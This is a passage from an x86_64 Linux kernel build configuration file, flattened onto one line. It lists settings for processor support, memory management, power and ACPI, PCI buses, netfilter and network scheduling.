CONFIG_X86_CMPXCHG64=y CONFIG_X86_CMOV=y CONFIG_X86_MINIMUM_CPU_FAMILY=64 CONFIG_X86_DEBUGCTLMSR=y # CONFIG_PROCESSOR_SELECT is not set CONFIG_CPU_SUP_INTEL=y CONFIG_CPU_SUP_AMD=y CONFIG_CPU_SUP_CENTAUR=y CONFIG_HPET_TIMER=y CONFIG_HPET_EMULATE_RTC=y CONFIG_DMI=y # CONFIG_GART_IOMMU is not set # CONFIG_CALGARY_IOMMU is not set CONFIG_SWIOTLB=y CONFIG_IOMMU_HELPER=y # CONFIG_MAXSMP is not set CONFIG_NR_CPUS=64 CONFIG_SCHED_SMT=y CONFIG_SCHED_MC=y # CONFIG_PREEMPT_NONE is not set CONFIG_PREEMPT_VOLUNTARY=y # CONFIG_PREEMPT is not set CONFIG_X86_LOCAL_APIC=y CONFIG_X86_IO_APIC=y CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS=y CONFIG_X86_MCE=y CONFIG_X86_MCE_INTEL=y CONFIG_X86_MCE_AMD=y CONFIG_X86_MCE_THRESHOLD=y # CONFIG_X86_MCE_INJECT is not set CONFIG_X86_THERMAL_VECTOR=y CONFIG_X86_16BIT=y CONFIG_X86_ESPFIX64=y CONFIG_X86_VSYSCALL_EMULATION=y # CONFIG_I8K is not set CONFIG_MICROCODE=y CONFIG_MICROCODE_INTEL=y CONFIG_MICROCODE_AMD=y CONFIG_MICROCODE_OLD_INTERFACE=y CONFIG_MICROCODE_INTEL_EARLY=y CONFIG_MICROCODE_AMD_EARLY=y CONFIG_MICROCODE_EARLY=y CONFIG_X86_MSR=y CONFIG_X86_CPUID=y CONFIG_ARCH_PHYS_ADDR_T_64BIT=y CONFIG_ARCH_DMA_ADDR_T_64BIT=y CONFIG_X86_DIRECT_GBPAGES=y CONFIG_NUMA=y CONFIG_AMD_NUMA=y CONFIG_X86_64_ACPI_NUMA=y CONFIG_NODES_SPAN_OTHER_NODES=y # CONFIG_NUMA_EMU is not set CONFIG_NODES_SHIFT=9 CONFIG_ARCH_SPARSEMEM_ENABLE=y CONFIG_ARCH_SPARSEMEM_DEFAULT=y CONFIG_ARCH_SELECT_MEMORY_MODEL=y # CONFIG_ARCH_MEMORY_PROBE is not set CONFIG_ARCH_PROC_KCORE_TEXT=y CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000 CONFIG_SELECT_MEMORY_MODEL=y CONFIG_SPARSEMEM_MANUAL=y CONFIG_SPARSEMEM=y CONFIG_NEED_MULTIPLE_NODES=y CONFIG_HAVE_MEMORY_PRESENT=y CONFIG_SPARSEMEM_EXTREME=y CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y CONFIG_SPARSEMEM_ALLOC_MEM_MAP_TOGETHER=y CONFIG_SPARSEMEM_VMEMMAP=y CONFIG_HAVE_MEMBLOCK=y CONFIG_HAVE_MEMBLOCK_NODE_MAP=y CONFIG_ARCH_DISCARD_MEMBLOCK=y CONFIG_MEMORY_ISOLATION=y # CONFIG_MOVABLE_NODE is not set CONFIG_HAVE_BOOTMEM_INFO_NODE=y CONFIG_MEMORY_HOTPLUG=y CONFIG_MEMORY_HOTPLUG_SPARSE=y CONFIG_MEMORY_HOTREMOVE=y CONFIG_PAGEFLAGS_EXTENDED=y CONFIG_SPLIT_PTLOCK_CPUS=4 CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y CONFIG_MEMORY_BALLOON=y CONFIG_BALLOON_COMPACTION=y CONFIG_COMPACTION=y CONFIG_MIGRATION=y CONFIG_ARCH_ENABLE_HUGEPAGE_MIGRATION=y CONFIG_PHYS_ADDR_T_64BIT=y CONFIG_ZONE_DMA_FLAG=0 CONFIG_VIRT_TO_BUS=y CONFIG_KSM=y CONFIG_DEFAULT_MMAP_MIN_ADDR=65536 CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y CONFIG_MEMORY_FAILURE=y # CONFIG_HWPOISON_INJECT is not set CONFIG_TRANSPARENT_HUGEPAGE=y # CONFIG_TRANSPARENT_HUGEPAGE_ALWAYS is not set CONFIG_TRANSPARENT_HUGEPAGE_MADVISE=y CONFIG_CLEANCACHE=y CONFIG_FRONTSWAP=y CONFIG_CMA=y # CONFIG_CMA_DEBUG is not set # CONFIG_CMA_DEBUGFS is not set CONFIG_CMA_AREAS=8 CONFIG_ZSWAP=y CONFIG_ZPOOL=y CONFIG_ZBUD=y CONFIG_ZSMALLOC=y # CONFIG_PGTABLE_MAPPING is not set # CONFIG_ZSMALLOC_STAT is not set CONFIG_GENERIC_EARLY_IOREMAP=y CONFIG_ARCH_SUPPORTS_DEFERRED_STRUCT_PAGE_INIT=y # CONFIG_DEFERRED_STRUCT_PAGE_INIT is not set CONFIG_X86_PMEM_LEGACY=y CONFIG_X86_CHECK_BIOS_CORRUPTION=y # CONFIG_X86_BOOTPARAM_MEMORY_CORRUPTION_CHECK is not set CONFIG_X86_RESERVE_LOW=64 CONFIG_MTRR=y CONFIG_MTRR_SANITIZER=y CONFIG_MTRR_SANITIZER_ENABLE_DEFAULT=0 CONFIG_MTRR_SANITIZER_SPARE_REG_NR_DEFAULT=1 CONFIG_X86_PAT=y CONFIG_ARCH_USES_PG_UNCACHED=y CONFIG_ARCH_RANDOM=y CONFIG_X86_SMAP=y # CONFIG_X86_INTEL_MPX is not set CONFIG_EFI=y CONFIG_EFI_STUB=y CONFIG_EFI_MIXED=y CONFIG_SECCOMP=y # CONFIG_HZ_100 is not set # CONFIG_HZ_250 is not set # CONFIG_HZ_300 is not set CONFIG_HZ_1000=y CONFIG_HZ=1000 CONFIG_SCHED_HRTICK=y CONFIG_KEXEC=y CONFIG_KEXEC_FILE=y CONFIG_KEXEC_VERIFY_SIG=y CONFIG_KEXEC_BZIMAGE_VERIFY_SIG=y CONFIG_CRASH_DUMP=y CONFIG_KEXEC_JUMP=y CONFIG_PHYSICAL_START=0x1000000 CONFIG_RELOCATABLE=y # CONFIG_RANDOMIZE_BASE is not set CONFIG_PHYSICAL_ALIGN=0x1000000 CONFIG_HOTPLUG_CPU=y # CONFIG_BOOTPARAM_HOTPLUG_CPU0 is not set # CONFIG_DEBUG_HOTPLUG_CPU0 is not set # CONFIG_COMPAT_VDSO is not set # CONFIG_CMDLINE_BOOL is not set CONFIG_HAVE_LIVEPATCH=y # CONFIG_LIVEPATCH is not set CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y CONFIG_ARCH_ENABLE_MEMORY_HOTREMOVE=y CONFIG_USE_PERCPU_NUMA_NODE_ID=y # # Power management and ACPI options # CONFIG_ARCH_HIBERNATION_HEADER=y CONFIG_SUSPEND=y CONFIG_SUSPEND_FREEZER=y CONFIG_HIBERNATE_CALLBACKS=y CONFIG_HIBERNATION=y CONFIG_PM_STD_PARTITION="" CONFIG_PM_SLEEP=y CONFIG_PM_SLEEP_SMP=y # CONFIG_PM_AUTOSLEEP is not set # CONFIG_PM_WAKELOCKS is not set CONFIG_PM=y CONFIG_PM_DEBUG=y CONFIG_PM_ADVANCED_DEBUG=y # CONFIG_PM_TEST_SUSPEND is not set CONFIG_PM_SLEEP_DEBUG=y # CONFIG_DPM_WATCHDOG is not set CONFIG_PM_TRACE=y CONFIG_PM_TRACE_RTC=y CONFIG_PM_CLK=y # CONFIG_WQ_POWER_EFFICIENT_DEFAULT is not set CONFIG_ACPI=y CONFIG_ACPI_LEGACY_TABLES_LOOKUP=y CONFIG_ARCH_MIGHT_HAVE_ACPI_PDC=y CONFIG_ACPI_SYSTEM_POWER_STATES_SUPPORT=y CONFIG_ACPI_SLEEP=y # CONFIG_ACPI_PROCFS_POWER is not set CONFIG_ACPI_REV_OVERRIDE_POSSIBLE=y # CONFIG_ACPI_EC_DEBUGFS is not set CONFIG_ACPI_AC=y CONFIG_ACPI_BATTERY=y CONFIG_ACPI_BUTTON=y # CONFIG_ACPI_VIDEO is not set CONFIG_ACPI_FAN=y CONFIG_ACPI_DOCK=y CONFIG_ACPI_PROCESSOR=y CONFIG_ACPI_HOTPLUG_CPU=y # CONFIG_ACPI_PROCESSOR_AGGREGATOR is not set CONFIG_ACPI_THERMAL=y CONFIG_ACPI_NUMA=y # CONFIG_ACPI_CUSTOM_DSDT is not set CONFIG_ACPI_INITRD_TABLE_OVERRIDE=y # CONFIG_ACPI_DEBUG is not set CONFIG_ACPI_PCI_SLOT=y CONFIG_X86_PM_TIMER=y CONFIG_ACPI_CONTAINER=y CONFIG_ACPI_HOTPLUG_MEMORY=y CONFIG_ACPI_HOTPLUG_IOAPIC=y # CONFIG_ACPI_SBS is not set CONFIG_ACPI_HED=y # CONFIG_ACPI_CUSTOM_METHOD is not set CONFIG_ACPI_BGRT=y # CONFIG_ACPI_REDUCED_HARDWARE_ONLY is not set CONFIG_ACPI_NFIT=m # CONFIG_ACPI_NFIT_DEBUG is not set CONFIG_HAVE_ACPI_APEI=y CONFIG_HAVE_ACPI_APEI_NMI=y CONFIG_ACPI_APEI=y CONFIG_ACPI_APEI_GHES=y CONFIG_ACPI_APEI_PCIEAER=y CONFIG_ACPI_APEI_MEMORY_FAILURE=y # CONFIG_ACPI_APEI_EINJ is not set # CONFIG_ACPI_APEI_ERST_DEBUG is not set # CONFIG_ACPI_EXTLOG is not set # CONFIG_PMIC_OPREGION is not set CONFIG_SFI=y # # CPU Frequency scaling # CONFIG_CPU_FREQ=y CONFIG_CPU_FREQ_GOV_COMMON=y # CONFIG_CPU_FREQ_STAT is not set # CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE is not set # CONFIG_CPU_FREQ_DEFAULT_GOV_POWERSAVE is not set # CONFIG_CPU_FREQ_DEFAULT_GOV_USERSPACE is not set CONFIG_CPU_FREQ_DEFAULT_GOV_ONDEMAND=y # CONFIG_CPU_FREQ_DEFAULT_GOV_CONSERVATIVE is not set CONFIG_CPU_FREQ_GOV_PERFORMANCE=y CONFIG_CPU_FREQ_GOV_POWERSAVE=y CONFIG_CPU_FREQ_GOV_USERSPACE=y CONFIG_CPU_FREQ_GOV_ONDEMAND=y CONFIG_CPU_FREQ_GOV_CONSERVATIVE=y # # CPU frequency scaling drivers # CONFIG_X86_INTEL_PSTATE=y # CONFIG_X86_PCC_CPUFREQ is not set CONFIG_X86_ACPI_CPUFREQ=y CONFIG_X86_ACPI_CPUFREQ_CPB=y # CONFIG_X86_POWERNOW_K8 is not set # CONFIG_X86_AMD_FREQ_SENSITIVITY is not set # CONFIG_X86_SPEEDSTEP_CENTRINO is not set # CONFIG_X86_P4_CLOCKMOD is not set # # shared options # # CONFIG_X86_SPEEDSTEP_LIB is not set # # CPU Idle # CONFIG_CPU_IDLE=y # CONFIG_CPU_IDLE_GOV_LADDER is not set CONFIG_CPU_IDLE_GOV_MENU=y # CONFIG_ARCH_NEEDS_CPU_IDLE_COUPLED is not set CONFIG_INTEL_IDLE=y # # Memory power savings # # CONFIG_I7300_IDLE is not set # # Bus options (PCI etc.) # CONFIG_PCI=y CONFIG_PCI_DIRECT=y CONFIG_PCI_MMCONFIG=y CONFIG_PCI_XEN=y CONFIG_PCI_DOMAINS=y # CONFIG_PCI_CNB20LE_QUIRK is not set CONFIG_PCIEPORTBUS=y CONFIG_HOTPLUG_PCI_PCIE=y CONFIG_PCIEAER=y CONFIG_PCIE_ECRC=y # CONFIG_PCIEAER_INJECT is not set CONFIG_PCIEASPM=y # CONFIG_PCIEASPM_DEBUG is not set CONFIG_PCIEASPM_DEFAULT=y # CONFIG_PCIEASPM_POWERSAVE is not set # CONFIG_PCIEASPM_PERFORMANCE is not set CONFIG_PCIE_PME=y CONFIG_PCI_BUS_ADDR_T_64BIT=y CONFIG_PCI_MSI=y CONFIG_PCI_MSI_IRQ_DOMAIN=y # CONFIG_PCI_DEBUG is not set # CONFIG_PCI_REALLOC_ENABLE_AUTO is not set CONFIG_PCI_STUB=y # CONFIG_XEN_PCIDEV_FRONTEND is not set CONFIG_HT_IRQ=y CONFIG_PCI_ATS=y CONFIG_PCI_IOV=y CONFIG_PCI_PRI=y CONFIG_PCI_PASID=y CONFIG_PCI_LABEL=y # # PCI host controller drivers # CONFIG_ISA_DMA_API=y CONFIG_AMD_NB=y CONFIG_PCCARD=y CONFIG_PCMCIA=y CONFIG_PCMCIA_LOAD_CIS=y CONFIG_CARDBUS=y # # PC-card bridges # # CONFIG_YENTA is not set # CONFIG_PD6729 is not set # CONFIG_I82092 is not set CONFIG_HOTPLUG_PCI=y CONFIG_HOTPLUG_PCI_ACPI=y # CONFIG_HOTPLUG_PCI_ACPI_IBM is not set # CONFIG_HOTPLUG_PCI_CPCI is not set # CONFIG_HOTPLUG_PCI_SHPC is not set # CONFIG_RAPIDIO is not set # CONFIG_X86_SYSFB is not set # # Executable file formats / Emulations # CONFIG_BINFMT_ELF=y CONFIG_COMPAT_BINFMT_ELF=y CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS=y CONFIG_BINFMT_SCRIPT=y # CONFIG_HAVE_AOUT is not set # CONFIG_BINFMT_MISC is not set CONFIG_COREDUMP=y CONFIG_IA32_EMULATION=y # CONFIG_IA32_AOUT is not set # CONFIG_X86_X32 is not set CONFIG_COMPAT=y CONFIG_COMPAT_FOR_U64_ALIGNMENT=y CONFIG_SYSVIPC_COMPAT=y CONFIG_KEYS_COMPAT=y CONFIG_X86_DEV_DMA_OPS=y CONFIG_PMC_ATOM=y CONFIG_NET=y CONFIG_NET_INGRESS=y # # Networking options # CONFIG_PACKET=y # CONFIG_PACKET_DIAG is not set CONFIG_UNIX=y # CONFIG_UNIX_DIAG is not set CONFIG_XFRM=y CONFIG_XFRM_ALGO=y CONFIG_XFRM_USER=y CONFIG_XFRM_SUB_POLICY=y CONFIG_XFRM_MIGRATE=y CONFIG_XFRM_STATISTICS=y # CONFIG_NET_KEY is not set CONFIG_INET=y CONFIG_IP_MULTICAST=y CONFIG_IP_ADVANCED_ROUTER=y CONFIG_IP_FIB_TRIE_STATS=y CONFIG_IP_MULTIPLE_TABLES=y CONFIG_IP_ROUTE_MULTIPATH=y CONFIG_IP_ROUTE_VERBOSE=y # CONFIG_IP_PNP is not set # CONFIG_NET_IPIP is not set # CONFIG_NET_IPGRE_DEMUX is not set # CONFIG_NET_IP_TUNNEL is not set CONFIG_IP_MROUTE=y CONFIG_IP_MROUTE_MULTIPLE_TABLES=y CONFIG_IP_PIMSM_V1=y CONFIG_IP_PIMSM_V2=y CONFIG_SYN_COOKIES=y # CONFIG_NET_UDP_TUNNEL is not set # CONFIG_NET_FOU is not set # CONFIG_GENEVE_CORE is not set # CONFIG_INET_AH is not set # CONFIG_INET_ESP is not set # CONFIG_INET_IPCOMP is not set # CONFIG_INET_XFRM_TUNNEL is not set # CONFIG_INET_TUNNEL is not set # CONFIG_INET_XFRM_MODE_TRANSPORT is not set # CONFIG_INET_XFRM_MODE_TUNNEL is not set # CONFIG_INET_XFRM_MODE_BEET is not set CONFIG_INET_LRO=y # CONFIG_INET_DIAG is not set CONFIG_TCP_CONG_ADVANCED=y # CONFIG_TCP_CONG_BIC is not set CONFIG_TCP_CONG_CUBIC=y # CONFIG_TCP_CONG_WESTWOOD is not set # CONFIG_TCP_CONG_HTCP is not set # CONFIG_TCP_CONG_HSTCP is not set # CONFIG_TCP_CONG_HYBLA is not set # CONFIG_TCP_CONG_VEGAS is not set # CONFIG_TCP_CONG_SCALABLE is not set # CONFIG_TCP_CONG_LP is not set # CONFIG_TCP_CONG_VENO is not set # CONFIG_TCP_CONG_YEAH is not set # CONFIG_TCP_CONG_ILLINOIS is not set # CONFIG_TCP_CONG_DCTCP is not set # CONFIG_TCP_CONG_CDG is not set CONFIG_DEFAULT_CUBIC=y # CONFIG_DEFAULT_RENO is not set CONFIG_DEFAULT_TCP_CONG="cubic" CONFIG_TCP_MD5SIG=y CONFIG_IPV6=y CONFIG_IPV6_ROUTER_PREF=y CONFIG_IPV6_ROUTE_INFO=y CONFIG_IPV6_OPTIMISTIC_DAD=y # CONFIG_INET6_AH is not set # CONFIG_INET6_ESP is not set # CONFIG_INET6_IPCOMP is not set CONFIG_IPV6_MIP6=y # CONFIG_INET6_XFRM_TUNNEL is not set # CONFIG_INET6_TUNNEL is not set # CONFIG_INET6_XFRM_MODE_TRANSPORT is not set # CONFIG_INET6_XFRM_MODE_TUNNEL is not set # CONFIG_INET6_XFRM_MODE_BEET is not set # CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION is not set # CONFIG_IPV6_SIT is not set # CONFIG_IPV6_TUNNEL is not set # CONFIG_IPV6_GRE is not set CONFIG_IPV6_MULTIPLE_TABLES=y CONFIG_IPV6_SUBTREES=y CONFIG_IPV6_MROUTE=y CONFIG_IPV6_MROUTE_MULTIPLE_TABLES=y CONFIG_IPV6_PIMSM_V2=y CONFIG_NETLABEL=y CONFIG_NETWORK_SECMARK=y CONFIG_NET_PTP_CLASSIFY=y CONFIG_NETWORK_PHY_TIMESTAMPING=y CONFIG_NETFILTER=y # CONFIG_NETFILTER_DEBUG is not set CONFIG_NETFILTER_ADVANCED=y # CONFIG_BRIDGE_NETFILTER is not set # # Core Netfilter Configuration # CONFIG_NETFILTER_INGRESS=y # CONFIG_NETFILTER_NETLINK_ACCT is not set # CONFIG_NETFILTER_NETLINK_QUEUE is not set # CONFIG_NETFILTER_NETLINK_LOG is not set CONFIG_NF_CONNTRACK=y CONFIG_NF_CONNTRACK_MARK=y CONFIG_NF_CONNTRACK_SECMARK=y CONFIG_NF_CONNTRACK_PROCFS=y CONFIG_NF_CONNTRACK_EVENTS=y # CONFIG_NF_CONNTRACK_TIMEOUT is not set CONFIG_NF_CONNTRACK_TIMESTAMP=y # CONFIG_NF_CT_PROTO_DCCP is not set # CONFIG_NF_CT_PROTO_SCTP is not set # CONFIG_NF_CT_PROTO_UDPLITE is not set # CONFIG_NF_CONNTRACK_AMANDA is not set # CONFIG_NF_CONNTRACK_FTP is not set # CONFIG_NF_CONNTRACK_H323 is not set # CONFIG_NF_CONNTRACK_IRC is not set # CONFIG_NF_CONNTRACK_NETBIOS_NS is not set # CONFIG_NF_CONNTRACK_SNMP is not set # CONFIG_NF_CONNTRACK_PPTP is not set # CONFIG_NF_CONNTRACK_SANE is not set # CONFIG_NF_CONNTRACK_SIP is not set # CONFIG_NF_CONNTRACK_TFTP is not set # CONFIG_NF_CT_NETLINK is not set # CONFIG_NF_CT_NETLINK_TIMEOUT is not set CONFIG_NF_NAT=y CONFIG_NF_NAT_NEEDED=y # CONFIG_NF_NAT_AMANDA is not set # CONFIG_NF_NAT_FTP is not set # CONFIG_NF_NAT_IRC is not set # CONFIG_NF_NAT_SIP is not set # CONFIG_NF_NAT_TFTP is not set # CONFIG_NF_NAT_REDIRECT is not set # CONFIG_NF_TABLES is not set CONFIG_NETFILTER_XTABLES=y # # Xtables combined modules # # CONFIG_NETFILTER_XT_MARK is not set # CONFIG_NETFILTER_XT_CONNMARK is not set # # Xtables targets # # CONFIG_NETFILTER_XT_TARGET_AUDIT is not set CONFIG_NETFILTER_XT_TARGET_CHECKSUM=y # CONFIG_NETFILTER_XT_TARGET_CLASSIFY is not set # CONFIG_NETFILTER_XT_TARGET_CONNMARK is not set # CONFIG_NETFILTER_XT_TARGET_CONNSECMARK is not set # CONFIG_NETFILTER_XT_TARGET_DSCP is not set # CONFIG_NETFILTER_XT_TARGET_HL is not set # CONFIG_NETFILTER_XT_TARGET_HMARK is not set # CONFIG_NETFILTER_XT_TARGET_IDLETIMER is not set # CONFIG_NETFILTER_XT_TARGET_LED is not set # CONFIG_NETFILTER_XT_TARGET_LOG is not set # CONFIG_NETFILTER_XT_TARGET_MARK is not set CONFIG_NETFILTER_XT_NAT=y # CONFIG_NETFILTER_XT_TARGET_NETMAP is not set # CONFIG_NETFILTER_XT_TARGET_NFLOG is not set # CONFIG_NETFILTER_XT_TARGET_NFQUEUE is not set # CONFIG_NETFILTER_XT_TARGET_RATEEST is not set # CONFIG_NETFILTER_XT_TARGET_REDIRECT is not set # CONFIG_NETFILTER_XT_TARGET_TEE is not set # CONFIG_NETFILTER_XT_TARGET_TPROXY is not set # CONFIG_NETFILTER_XT_TARGET_SECMARK is not set # CONFIG_NETFILTER_XT_TARGET_TCPMSS is not set # CONFIG_NETFILTER_XT_TARGET_TCPOPTSTRIP is not set # # Xtables matches # # CONFIG_NETFILTER_XT_MATCH_ADDRTYPE is not set # CONFIG_NETFILTER_XT_MATCH_BPF is not set # CONFIG_NETFILTER_XT_MATCH_CGROUP is not set # CONFIG_NETFILTER_XT_MATCH_CLUSTER is not set # CONFIG_NETFILTER_XT_MATCH_COMMENT is not set # CONFIG_NETFILTER_XT_MATCH_CONNBYTES is not set # CONFIG_NETFILTER_XT_MATCH_CONNLABEL is not set # CONFIG_NETFILTER_XT_MATCH_CONNLIMIT is not set # CONFIG_NETFILTER_XT_MATCH_CONNMARK is not set CONFIG_NETFILTER_XT_MATCH_CONNTRACK=y # CONFIG_NETFILTER_XT_MATCH_CPU is not set # CONFIG_NETFILTER_XT_MATCH_DCCP is not set # CONFIG_NETFILTER_XT_MATCH_DEVGROUP is not set # CONFIG_NETFILTER_XT_MATCH_DSCP is not set # CONFIG_NETFILTER_XT_MATCH_ECN is not set # CONFIG_NETFILTER_XT_MATCH_ESP is not set # CONFIG_NETFILTER_XT_MATCH_HASHLIMIT is not set # CONFIG_NETFILTER_XT_MATCH_HELPER is not set # CONFIG_NETFILTER_XT_MATCH_HL is not set # CONFIG_NETFILTER_XT_MATCH_IPCOMP is not set # CONFIG_NETFILTER_XT_MATCH_IPRANGE is not set # CONFIG_NETFILTER_XT_MATCH_L2TP is not set # CONFIG_NETFILTER_XT_MATCH_LENGTH is not set # CONFIG_NETFILTER_XT_MATCH_LIMIT is not set # CONFIG_NETFILTER_XT_MATCH_MAC is not set # CONFIG_NETFILTER_XT_MATCH_MARK is not set # CONFIG_NETFILTER_XT_MATCH_MULTIPORT is not set # CONFIG_NETFILTER_XT_MATCH_NFACCT is not set # CONFIG_NETFILTER_XT_MATCH_OWNER is not set # CONFIG_NETFILTER_XT_MATCH_POLICY is not set # CONFIG_NETFILTER_XT_MATCH_PKTTYPE is not set # CONFIG_NETFILTER_XT_MATCH_QUOTA is not set # CONFIG_NETFILTER_XT_MATCH_RATEEST is not set # CONFIG_NETFILTER_XT_MATCH_REALM is not set # CONFIG_NETFILTER_XT_MATCH_RECENT is not set # CONFIG_NETFILTER_XT_MATCH_SCTP is not set # CONFIG_NETFILTER_XT_MATCH_SOCKET is not set # CONFIG_NETFILTER_XT_MATCH_STATE is not set # CONFIG_NETFILTER_XT_MATCH_STATISTIC is not set # CONFIG_NETFILTER_XT_MATCH_STRING is not set # CONFIG_NETFILTER_XT_MATCH_TCPMSS is not set # CONFIG_NETFILTER_XT_MATCH_TIME is not set # CONFIG_NETFILTER_XT_MATCH_U32 is not set # CONFIG_IP_SET is not set # CONFIG_IP_VS is not set # # IP: Netfilter Configuration # CONFIG_NF_DEFRAG_IPV4=y CONFIG_NF_CONNTRACK_IPV4=y # CONFIG_NF_CONNTRACK_PROC_COMPAT is not set # CONFIG_NF_LOG_ARP is not set # CONFIG_NF_LOG_IPV4 is not set CONFIG_NF_REJECT_IPV4=y CONFIG_NF_NAT_IPV4=y CONFIG_NF_NAT_MASQUERADE_IPV4=y # CONFIG_NF_NAT_PPTP is not set # CONFIG_NF_NAT_H323 is not set CONFIG_IP_NF_IPTABLES=y # CONFIG_IP_NF_MATCH_AH is not set # CONFIG_IP_NF_MATCH_ECN is not set # CONFIG_IP_NF_MATCH_RPFILTER is not set # CONFIG_IP_NF_MATCH_TTL is not set CONFIG_IP_NF_FILTER=y CONFIG_IP_NF_TARGET_REJECT=y # CONFIG_IP_NF_TARGET_SYNPROXY is not set CONFIG_IP_NF_NAT=y CONFIG_IP_NF_TARGET_MASQUERADE=y # CONFIG_IP_NF_TARGET_NETMAP is not set # CONFIG_IP_NF_TARGET_REDIRECT is not set CONFIG_IP_NF_MANGLE=y # CONFIG_IP_NF_TARGET_CLUSTERIP is not set # CONFIG_IP_NF_TARGET_ECN is not set # CONFIG_IP_NF_TARGET_TTL is not set # CONFIG_IP_NF_RAW is not set # CONFIG_IP_NF_SECURITY is not set # CONFIG_IP_NF_ARPTABLES is not set # # IPv6: Netfilter Configuration # # CONFIG_NF_DEFRAG_IPV6 is not set # CONFIG_NF_CONNTRACK_IPV6 is not set # CONFIG_NF_REJECT_IPV6 is not set # CONFIG_NF_LOG_IPV6 is not set CONFIG_IP6_NF_IPTABLES=y # CONFIG_IP6_NF_MATCH_AH is not set # CONFIG_IP6_NF_MATCH_EUI64 is not set # CONFIG_IP6_NF_MATCH_FRAG is not set # CONFIG_IP6_NF_MATCH_OPTS is not set # CONFIG_IP6_NF_MATCH_HL is not set # CONFIG_IP6_NF_MATCH_IPV6HEADER is not set # CONFIG_IP6_NF_MATCH_MH is not set # CONFIG_IP6_NF_MATCH_RPFILTER is not set # CONFIG_IP6_NF_MATCH_RT is not set # CONFIG_IP6_NF_TARGET_HL is not set CONFIG_IP6_NF_FILTER=y # CONFIG_IP6_NF_TARGET_REJECT is not set # CONFIG_IP6_NF_TARGET_SYNPROXY is not set CONFIG_IP6_NF_MANGLE=y # CONFIG_IP6_NF_RAW is not set # CONFIG_IP6_NF_SECURITY is not set CONFIG_BRIDGE_NF_EBTABLES=y # CONFIG_BRIDGE_EBT_BROUTE is not set CONFIG_BRIDGE_EBT_T_FILTER=y # CONFIG_BRIDGE_EBT_T_NAT is not set # CONFIG_BRIDGE_EBT_802_3 is not set # CONFIG_BRIDGE_EBT_AMONG is not set # CONFIG_BRIDGE_EBT_ARP is not set # CONFIG_BRIDGE_EBT_IP is not set # CONFIG_BRIDGE_EBT_IP6 is not set # CONFIG_BRIDGE_EBT_LIMIT is not set # CONFIG_BRIDGE_EBT_MARK is not set # CONFIG_BRIDGE_EBT_PKTTYPE is not set # CONFIG_BRIDGE_EBT_STP is not set # CONFIG_BRIDGE_EBT_VLAN is not set # CONFIG_BRIDGE_EBT_ARPREPLY is not set # CONFIG_BRIDGE_EBT_DNAT is not set # CONFIG_BRIDGE_EBT_MARK_T is not set # CONFIG_BRIDGE_EBT_REDIRECT is not set # CONFIG_BRIDGE_EBT_SNAT is not set # CONFIG_BRIDGE_EBT_LOG is not set # CONFIG_BRIDGE_EBT_NFLOG is not set # CONFIG_IP_DCCP is not set # CONFIG_IP_SCTP is not set # CONFIG_RDS is not set # CONFIG_TIPC is not set # CONFIG_ATM is not set # CONFIG_L2TP is not set CONFIG_STP=y CONFIG_GARP=y CONFIG_MRP=y CONFIG_BRIDGE=y CONFIG_BRIDGE_IGMP_SNOOPING=y CONFIG_BRIDGE_VLAN_FILTERING=y CONFIG_HAVE_NET_DSA=y # CONFIG_NET_DSA is not set CONFIG_VLAN_8021Q=y CONFIG_VLAN_8021Q_GVRP=y CONFIG_VLAN_8021Q_MVRP=y # CONFIG_DECNET is not set CONFIG_LLC=y # CONFIG_LLC2 is not set # CONFIG_IPX is not set # CONFIG_ATALK is not set # CONFIG_X25 is not set # CONFIG_LAPB is not set # CONFIG_PHONET is not set # CONFIG_6LOWPAN is not set # CONFIG_IEEE802154 is not set CONFIG_NET_SCHED=y # # Queueing/Scheduling # # CONFIG_NET_SCH_CBQ is not set # CONFIG_NET_SCH_HTB is not set # CONFIG_NET_SCH_HFSC is not set # CONFIG_NET_SCH_PRIO is not set # CONFIG_NET_SCH_MULTIQ is not set # CONFIG_NET_SCH_RED is not set # CONFIG_NET_SCH_SFB is not set # CONFIG_NET_SCH_SFQ is not set # CONFIG_NET_SCH_TEQL is not set # CONFIG_NET_SCH_TBF is not set # CONFIG_NET_SCH_GRED is not set # CONFIG_NET_SCH_DSMARK is not set # CONFIG_NET_SCH_NETEM is not set # CONFIG_NET_SCH_DRR is not set # CONFIG_NET_SCH_MQPRIO is not set # CONFIG_NET_SCH_CHOKE is not set # CONFIG_NET_SCH_QFQ is not set # CONFIG_NET_SCH_CODEL is not set CONFIG_NET_SCH_FQ_CODEL=y # CONFIG_NET_SCH_FQ is not set # CONFIG_NET_SCH_HHF is not set # CONFIG_NET_SCH_PIE is not set # CONFIG_NET_SCH_INGRESS is not set # CONFIG_NET_SCH_PLUG is not set # # Classification # CONFIG_NET_CLS=y # CONFIG_NET_CLS_BASIC is not set # CONFIG_NET_CLS_TCINDEX is not set # CONFIG_NET_CLS_ROUTE4 is not set # CONFIG_NET_CLS_FW is not set # CONFIG_NET_CLS_U32 is not set # CONFIG_NET_CLS_RSVP is not set # CONFIG_NET_CLS_RSVP6 is not set # CONFIG_NET_CLS_FLOW is not set CONFIG_NET_CLS_CGROUP=y # CONFIG_NET_CLS_BPF is not set # CONFIG_NET_CLS_FLOWER is not set CONFIG_NET_EMATCH=y CONFIG_NET_EMATCH_STACK=32 # CONFIG_NET_EMATCH_CMP is not set # CONFIG_NET_EMATCH_NBYTE is not set # CONFIG_NET_EMATCH_U32 is not set # CONFIG_NET_EMATCH_META is not set # CONFIG_NET_EMATCH_TEXT is not set CONFIG_NET_CLS_ACT=y # CONFIG_NET_ACT_POLICE is not set # CONFIG_NET_ACT_GACT is not set # CONFIG_NET_ACT_MIRRED is not set # CONFIG_NET_ACT_IPT is not set # CONFIG_NET_ACT_NAT is not set # CONFIG_NET_ACT_PEDIT is not set # CONFIG_NET_ACT_SIMP is not set # CONFIG_NET_ACT_SKBEDIT is not set # CONFIG_NET_ACT_CSUM is not set # CONFIG_NET_ACT_VLAN is not set # CONFIG_NET_ACT_BPF is not set # CONFIG_NET_ACT_CONNMARK is not set CONFIG_NET_SCH_FIFO=y CONFIG_DCB=y CONFIG_DNS_RESOLVER=y # CONFIG_BATMAN_ADV is not set # CONFIG_OPENVSWITCH is not set # 